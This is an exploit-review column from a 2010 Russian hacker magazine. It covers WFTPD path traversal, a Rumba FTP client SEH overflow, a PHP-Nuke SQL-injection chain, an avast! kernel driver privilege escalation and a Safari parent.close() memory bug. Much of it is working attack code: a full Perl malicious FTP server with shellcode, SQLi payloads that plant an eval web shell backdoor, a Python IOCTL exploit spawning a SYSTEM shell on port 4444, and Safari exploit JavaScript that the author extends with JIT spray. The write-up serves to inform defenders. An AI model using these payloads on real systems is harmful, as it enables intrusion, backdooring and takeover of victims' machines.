Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 138, ИЮНЬ 2010 г.

Обзор эксплойтов

Этот месяц был не таким плодотворным на качественные эксплойты, видимо погода сделала свое дело – кому охота сидеть за дебаггером, когда на улице солнце. Но все же кое-что интересное я для вас подготовил. И помните, все это не для того, чтобы нарушать статьи УК РФ, а для того, чтобы учится на чужих ошибках и быть в курсе актуальных угроз.

Выход за пределы домашней директории в WFTPD Server

CVE

  • N/A

TARGETS

  • *WFTPD Server 3.30

BRIEF

WFTPD Server – FTP-сервер для ОС Windows (кстати, не бесплатный). Данная программа содержит очень характерную ошибку. Аналогичную ошибку находили и в других FTP-серверах от таких именитых производителей как Cisco, HTC, Serv-U и многих других. Поэтому не лишним будет еще раз обратить внимание на классические просчеты программистов.

EXPLOIT

Логика FTP-сервиса в том, что у каждого пользователя есть своя директория, и работать он должен в своей рабочей папке. Понятно, что это дело должно быть защищено. Программисты – люди не глупые, и последовательность “../” фильтруют.

MKD ../../../../../ZLOBA
550 You do not have rights to create that subdirectory.

Но невнимательность губит любое хорошее начинание. Так, например, следующий запрос выполнится без проблем:

MKD c:zloba
257 "c:zloba" directory created

Что ж, очевидно, что кроме относительного пути, можно указать и абсолютный. Будь внимателен.

SOLUTION

Решения нет. Разве только не использовать WFTPD для многопользовательского доступа по FTP.

Переполнение буфера в Rumba FTP Client

CVE

  • N/A

TARGETS

  • * Rumba FTP Client 4.2

BRIEF

Что ж, ошибки бывают не только в платных FTP-серверах, но и в платных FTP-клиентах. Уязвимость переполнения буфера – вот что хранит в себе этот клиент.

EXPLOIT

Эксплойт представляет собой симулятор FTP-сервера, который отвечает на некоторые команды и ждет, когда же у него спросят листинг файлов. И в момент, когда клиент это сделает, сервер-эксплойт пошлет (в пассивном режиме, поэтому если использовать эксплойт удаленно, нужно поменять переменную $pasvip) имя файла, причем очень длинное. Настолько длинное, что перезапишет SEH-дескриптор и вызовет исключительную ситуацию. Естественно, что, обрабатывая исключительную ситуацию, клиент перейдет в SEH-цепочку, вершину который мы перезаписали. Так что «обработчиком» исключительной ситуации станет наш шелл-код, который запускает калькулятор. Разберем эксплойт:

use warnings;
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new( LocalPort => '21', Proto => 'tcp', Listen => '1' )
or die "Socket Not Created $!n";
#Приветственное сообщение
print
"#############################################################n"
. "# Rumba ftp Client 4.2 PASV BoF (SEH) #n"
. "# By: zombiefx #n"
. "# Listening on port 21 with pasv port of 31337 #n"
. "#############################################################n";
#IP для пассивного режима
my $pasvip = "127,0,0,1";
#Обработка соединения
while ( my $data = $sock->accept() ) {
print "Client Connected!nAwaiting Ftp commands: n";
print $data "220 Gangsta Rap Made Me Do Itrn";

#Обработка команд – симуляция FTP
while (<$data>) {
print;
print $data "331 Anonymous access allowedrn" if (/USER/i);
print $data "230-Welcome to N0 M4Ns l4nd.rn230 User logged in.rn" if (/PASS/i);
print $data "215 UNIX Type: L8 rn" if (/SYST/i);
print $data "257 "/" is current directory.rn" if (/PWD/i);
print $data "200 Type set to I.rn" if (/TYPE I/i);
print $data "200 Type set to A.rn" if (/TYPE A/i);
print $data "214 Syntax: SITE - (site-specific commands)rn" if (/HELP/i);
#Готовимся к передаче…
print $data "227 Entering Passive Mode ($pasvip,122,105)rn" if (/PASV/i);
#Запрос листинга директории, вызываем основную функцию
if (/LIST/i) {
print $data "150 Here comes the directory listing.rn" . "226 Directory send OK.rn";
&senddata( '122', '105' );
}

}
print "Payload delivered check the client!n";
}
#Основная функция
sub senddata {
my $port = $_[0] * 256 + $_[1];
#Ждем клиента для пересылки
my $pasvsock = IO::Socket::INET->new( LocalPort => $port, Proto => 'tcp', Listen => '1' );
my $pasvdata = $pasvsock->accept();
#Первые 1351 байт – мусор
my $junk = "x77" x 1351;
#Перезаписываем SEH-дескриптор адресом 0x1006E534
#по этому адресу – ftplogic.dll и инструкции,
#POP EDI/POP ESI/RETN
#которые вернут нас в стек
my $seh = pack( 'V', 0x1006E534 );# located in ftplogic.dll
#Это инструкция JMP +0x8,
#так как следующие несколько байтов будут испорчены
my $nseh = "xebx06x90x90";
#шелл-код, на который будет прыжок на пятый NOP из-за предыдущей инструкции:
my $nops = "x90" x 50;
my $calcshell =
"x89xe2xdaxc1xd9x72xf4x58x50x59x49x49x49x49"
. "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56"
. "x58x34x41x50x30x41x33x48x48x30x41x30x30x41"
. "x42x41x41x42x54x41x41x51x32x41x42x32x42x42"
. "x30x42x42x58x50x38x41x43x4ax4ax49x4bx4cx4a"
. "x48x50x44x43x30x43x30x45x50x4cx4bx47x35x47"
. "x4cx4cx4bx43x4cx43x35x43x48x45x51x4ax4fx4c"
. "x4bx50x4fx42x38x4cx4bx51x4fx47x50x43x31x4a"
. "x4bx51x59x4cx4bx46x54x4cx4bx43x31x4ax4ex50"
. "x31x49x50x4cx59x4ex4cx4cx44x49x50x43x44x43"
. "x37x49x51x49x5ax44x4dx43x31x49x52x4ax4bx4a"
. "x54x47x4bx51x44x46x44x43x34x42x55x4bx55x4c"
. "x4bx51x4fx51x34x45x51x4ax4bx42x46x4cx4bx44"
. "x4cx50x4bx4cx4bx51x4fx45x4cx45x51x4ax4bx4c"
. "x4bx45x4cx4cx4bx45x51x4ax4bx4dx59x51x4cx47"
. "x54x43x34x48x43x51x4fx46x51x4bx46x43x50x50"
. "x56x45x34x4cx4bx47x36x50x30x4cx4bx51x50x44"
. "x4cx4cx4bx44x30x45x4cx4ex4dx4cx4bx45x38x43"
. "x38x4bx39x4ax58x4cx43x49x50x42x4ax50x50x42"
. "x48x4cx30x4dx5ax43x34x51x4fx45x38x4ax38x4b"
. "x4ex4dx5ax44x4ex46x37x4bx4fx4dx37x42x43x45"
. "x31x42x4cx42x43x45x50x41x41";

my $payload = $junk . $nseh . $seh . $nops . $calcshell;

print $pasvdata
"-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 test.$payloadrnrn";
}

Эксплойт работает стабильно, правда, понятно, что с DEP он работать не будет.

SOLUTION

Обновить ПО, хотя автор думает, что и новая версия тоже уязвима. Так что лучше не использовать его вообще...

Множественные уязвимости в PHPNuke

CVE

  • N/A

TARGETS

  • PHP-Nuke 7.0
  • PHP-Nuke 8.1
  • PHP-Nuke 8.1.35

BRIEF

Прошедший месяц оказался для создателей PHP-Nuke не очень приятным. Что неудивительно, ведь в их детище был найден целый букет уязвимостей. Исследователь Майкл Брукс (Michael Brooks) опубликовал эксплойт, который, используя уязвимости LFI, SQL-инъекции, раскрытия пути, как результат, заливает бэкдор на сервер. Кроме того, этот эксплойт не обошел стороной и старые уязвимости, включая ошибку phpBB, которая может присутствовать в PHP-Nuke 7.0. Программа Брукса написана на PHP и поддерживает использование прокси, а в комментариях даны гугль-хак советы, что делает этот эксплойт крайне неприятным и может использоваться не только скрипт-киддисами, но и червяками.

EXPLOIT

Весь код эксплойта занимает полтысячи строк кода, и поэтому целиком его я тут приводить не буду, лишь интересные кусочки. Разумеется, полную версию эксплойта ты всегда сможешь найти на нашем диске, но исключительно в целях самопроверки. Ведь PHP-Nuke достаточно популярный движок, поэтому стоит провериться. Вдруг ты в опасности? Ладно, хватит лирики, приступаем к делу. Эксплойт запускается элементарно:

"c:Program FilesPHPphp.exe" nuke.php -t http://<target_site>

Для эксплуатации последней версии PHP-Nuke нужна хоть какая-то учетная запись, поэтому эксплойт требует cookie:

"c:Program FilesPHPphp.exe" nuke.php -t http://<target_site> -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng==

В эксплойт встроена собственная функция для работы со слепыми инъекциями, кодировки строк и т.д. Так что получается мощный зверь.

В качестве тестового примера, я попробовал найти инъекцию и получить хэш админа с помощью этого эксплойта. Найдя относительно заброшенный сайт на этом движке, проверим старую инъекцию, в поле referer:

REFERER: '=(select if(true,sleep(10),0) from nuke_authors limit 1))-- 1

Эксплойт Брукса использует эту уязвимость для получения хэша и формирования cookie для дальнейшей заливки шелла через другую инъекцию, уже новую, но требующую прав администратора, а затем открывает бэкдор через LFI-баг. Конечно, если есть регистрация, можно просто зарегистрироваться и использовать уже другую уязвимость (из арсенала эксплойта) для получения учетки админа и заливки бэкдора. Эксплойт обходит встроенные фильтры защиты от инъекций, а также правила по умолчанию AppArmor’а для Ubunta.

Код заливки бэкдора:

print "Uploading backdoor...n";
$remote_path=addslashes(addslashes($remote_path."\frontend.php"));
$backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET["e"])):eval($_GET["e"])';
$http->postdata="chng_uid=".urlencode("' union/**/ select ".$sex->charEncode("<?php").",'".$backdoor."',".$sex->charEncode("?>").",'','','','','','','','','','','','','','','' into outfile '".$remote_path."'-- 1");
$re=$http->send($attack_url."/admin.php?op=modifyUser");
$http->postdata="xsitename=".$values[0]."&xnukeurl=".$values[1]."&xslogan=".$values[2]."&xstartdate=".$values[3]."&xadmingraphic=".$values[4]."&xgfx_chk=0&xnuke_editor=1&xdisplay_errors=0&op=savegeneral";
$error_reporting=$http->send($attack_url."/admin.php");

Функция charEncode () кодирует символы для использования char() в MySQL. Это сделано, чтобы обойти фильтры. Далее эксплойт открывает бэкдор:

$http->postdata="xDefault_Theme=../../../../../../../../../../../tmp&xoverwrite_theme=0&op=savethemes";
$http->send($attack_url."/admin.php");

Заливка трояна в /tmp как раз и позволяет обмануть AppArmor.

SOLUTION

Решения пока нет, автор предлагает вообще отказаться от использования PHP-Nuke, мотивируя это тем, что там очень плохо с безопасностью, и много уязвимостей еще будет найдено.

Повышение привилегий в avast!

CVE

  • CVE-2008-1625

TARGETS

  • avast! 4.7 Professional Edition
  • avast! 4.7 Home Edition

BRIEF

Матэо Меиелли (Matteo Memelli) из Offensive-Security порадовал нас отличным эксплойтом для антивируса «avast!». Уязвимость, найденная Тобиасом Клейном (Tobias Klein), кроется в драйвере антивируса, который криво обрабатывает IOCTL-запросы. Так как драйвер – дело низкоуровневое, то очевидно, что после эксплуатации уязвимости мы получаем права системы. Таким образом, можно поднять свои привилегии в ОС с помощью данного драйвера и уязвимости в нем.

EXPLOIT

Итак, для того, чтобы воспользоваться уязвимостью, достаточно лишь запустить эксплойт и молиться :). Ошибка обнаружена в драйвере aavmker4.sys. Дело в том, что драйвер может обрабатывать IOCTL-запросы без проверки валидности данных, а конкретнее, IOCTL 0xb2d60030, позволяет копировать любые данные по любому адресу:

mov ecx, 21Ah ; размер
mov edi, [eax+18h] ; EAX+0x18 – отсюда берем адрес, куда копировать
rep movsd ; копируем в EDI, то есть куда захотим

Чтобы использовать эту ошибку, был найден указатель на функцию со статическим сдвигом от базового адреса. Именно этот адрес и перезаписывается на адрес шелл-кода, который передается в буфере запроса. Но сначала надо сделать так, что бы EAX указывал на наши данные.

mov eax, [ebp+v38_uc]

Как видно, данные берутся по статическому сдвигу. Прежде чем начать перезапись, эксплойт сохраняет по этому сдвигу специально подготовленные данные так, чтобы уязвимая функция скушала их, и в итоге EAX+0x18 содержал указатель на перезаписываемую нами область памяти с адресом функции. Чтобы осуществить запись в .data, используется IOCTL-запрос 0xb2d6001c. После того, как данные сохранены, вызывается уже наш IOCTL 0xb2d60030, который перезаписывает указатель на функцию, используя предварительно сохраненные в .data адреса. После этого провоцируется вызов функции с перезаписанным указателем – IOCTL 0xb2d60020. Кроме того, эксплойт должен спровоцировать вызов syscall. Для этого он тупо пытается выполнить аутентификацию в системе:

lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL"
lsas2 = "net use \\127.0.0.1 /user:administrator test > NUL"
. . .
os.system(lsas1)
time.sleep(1)
os.system(lsas2)

В итоге шелл-код выполнится-таки в нужном контексте. Можно подсоединяться на порт 4444, чтобы получить системный шелл.

Формат входных данных в эксплойте:

#Адрес, где будут лежать данные,
#сохраненные первым IOCTL-запросом
read_data_from= struct.pack('L', sysbase+0x2e04)
#Адрес буфера с шеллкодом, точнее указатель на NOP’ы
r0_address = struct.pack('L', sysbase+0x23fa)
#Формируем первый буфер
#Этот буфер будет входным параметром для
#вызова IOCTL 0xb2d6003
#Адрес шелл-кода, указатель на NOP, которые идут за ним
evil_input = r0_address*2 + "x90"*0x102
#Шелл-код цепочка, вывод в ring3 и открытие шелла на 4444 порту
evil_input += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode
#Не важно
evil_input += "x41"*0x549
#Указатель на сохраненный в .data буфер, откуда будут читаться
#данные для этого IOCTL
evil_input += read_data_from + "x42x42x42x42"
#Формируем первый буфер, который будет сохранен в .data
#c помощью первого IOCTL-запроса.
#Отсюда будут браться данные для второго IOCTL
#Выравнивание
stor_input = "x43x43x43x43"
#Эти данные нужны, чтобы функция, обрабатывающая
#второй IOCTL ничего не заподозрила
stor_input += "x07xADxDExD0" # cmp dword ptr [eax], 0D0DEAD07h
stor_input += "xBAxD0xBAx10" # cmp dword ptr [eax+4], 10BAD0BAh
#Выравнивание
stor_input += "x44x44x44x44"*2
#Указатель для nt!KeSetEvent, который сработает после записи
#главное, чтобы значение по этому указателю было не равно единице
#так что наш указатель подходит
stor_input += read_data_from
#Выравнивание
stor_input += "x44x44x44x44"
#Со сдвигом в 0x2300 байт от базового адреса
#лежит указатель на функцию, который надо переписать
#уязвимая функция обрабатывающая второй IOCTL
#перепишет память по этому указателю
#так что укажем на адрес этой функции
stor_input += struct.pack('L', sysbase+0x2300) + "x45"*414

Эксплойт разбивается на потоки, и там засыпает на минуту. Пока идет ожидание, посылаются два IOCTL-запроса. Первый сохраняет по адресу read_data_from, буфер stor_input. Второй запрос отправляет шелл-код и адрес read_data_from, откуда читать данные для обработки функции – evil_input.

dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb2d6001c, stor_input,
stor_size, stor_output, out_size,
byref(dwReturn1), None)
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0xb2d60030,
evil_input, evil_size, evil_output,
evil_size,
byref(dwReturn2), None)

А дальше провоцируем переход с помощью IOCTL-запроса 0xb2d60020 и syscall c помощью lsass.exe. Только после того, как шелл-код закончит работу, lsass.exe умрет и отправит за собой всю ОС в перезагрузку.

SOLUTION

Обновление антивируса до версии 4.8 может уберечь от данной проблемы.

Выполнение произвольного кода в Apple Safari

CVE

  • N/A

TARGETS

  • Apple Safari <= 4.0.5

BRIEF

Начнем наш обзор с 0day уязвимости в браузере Safari. Уязвимость обнаружил Кристиан Клосковски (Krystian Kloskowski) и незамедлительно опубликовал эксплойт для последней версии яблочного браузера. Ответных действий от Apple в виде патча пока не последовало.

EXPLOIT

Эксплойт представляет собой обыкновенный HTML-файл c JavaScript-кодом. Уязвимость кроется в методе parent.close(), который способен повредить память процесса, что, в итоге, может передать управление злобному шелл-коду. В примере Кристиана – шелл-код запускает калькулятор, но ты же понимаешь, что заменить шелл-код – дело пустяковое. Чтобы эксплойт работал удаленно, необходимо существование родительского объекта. Для этого в эксплойте предлагается первоначально использовать метод window.open(), который откроет HTML с эксплойтом. А для этого нужно, чтобы у жертвы были разрешены всплывающие окна.

Фишка же самого эксплойта в том, что происходит вызов метода close() для родительского объекта, а затем вызов метода prompt() для того же объекта. Так как parent-объект уже «закрыт», у Safari возникает «разрыв шаблона», то есть ошибка в памяти, в результате которой, при обработке метода prompt(), происходит перезапись регистра ESI значением, которое будет браться из ошибочного места. После записи регистра идет вызов по адресу из этого регистра – CALL ESI. Кристиан в своем эксплойте использует до вызова close() еще пару вызовов prompt(), чтобы «сдвинуть» указатель ESI для принятия значения 0x40E00000. Осталось подготовить шелл-код, чтобы он разместился по адресу 0x40E00000. Тут вступает в дело классический heap spray, что приводит к заполнению адресного пространства процесса, включая адрес 0x40E00000, нашим шелл-кодом. Таким образом, жертва открывает страничку, видит окошко, сгенерированное методом prompt(), пытается закрыть его по ALT+F4, видит второе окошко, которое опять закрывает и в результате – pwned после close() и уже не отобразившего окошка, третьего вызова prompt().

Рассмотрим код эксплойта:

//Функция генерит большую строку
function make_buf(payload, len) {
while(payload.length < (len * 2)) payload += payload;
payload = payload.substring(0, len);
return payload;
}

var shellcode = … //тут шелл-код

/*А тут вырезан heap spray – экономия краски*/

var a = parent; //указатель на родительский объект
var buf = make_buf("AAAA", 10000); //генерим строку

for(var i = 0; i <= 1; i++) { //Эксплойт, ошибка возникнет при втором проходе
a.prompt(alert);
a.prompt(buf);
a.close();
}

Недостаток эксплойта в том, что Safari у нас работает в режиме permanent-DEP, и шеллкод из кучи исполняться не будет. Компания VUPEN разработала коммерческий эксплойт, который обходит permanent-DEP. Ну, мы же кул-хацкеры – сделаем так, чтобы он еще, кроме DEP, и ASLR обходил. Я не знаю, как сделали ребята из компании VUPEN (догадываюсь, что с помощью ROP), но для ASLR этого мало (в данном случае), поэтому я воспользуюсь техникой JIT-SPRAY и одним из шеллкодов, который я же и разработал (себя не похвалишь – никто не похвалит :)). Мой шеллкод открывает блокнот.

Итак, суть проста – заменяем heap spray (который, кстати, жестко палится антивирусами) на JIT-SPRAY. Но не все так легко, как казалось. Если вставить флеш-объект на ту же страницу или даже на родительскую, то при вызове parent.close() вся память, выделенная для Flash, очистится. Тогда я придумал углубить цепочку «наследования». Первая страница грузит JIT-SPRAY и делает открытие в новом окошке второй, вторая страница ничего не делает, кроме как открывает третью. А уже третья страница открывает четвертую – с эксплойтом, но без heap spray. Все страницы в Safari – обрабатывает один процесс, так что память общая. Но адрес 0x40E00000 меня также не устраивает, кто читал мою статью про JIT SPRAY в апрельском ][, тот помнит, что нам нужен адрес вида 0xXXYY0101, чтобы попасть в JIT-шеллкод. Немного побаловавшись с параметром, я нашел ситуацию, когда указатель ESI переписывается значением, генерируемым в качестве параметра метода parent().

var buf = make_buf(unescape('%u0101%u0943'), 38000);

Теперь мы можем передать управление по точному адресу. Я выбрал 0x09430101. Там как раз наш шеллкод. Вот и все.

SOLUTION

Решения пока нет. Разве что отключить JavaScript- и Pop-Up окошки (а вот это в Safari уже сделано по умолчанию).

Содержание
ttfb: 6.356954574585 ms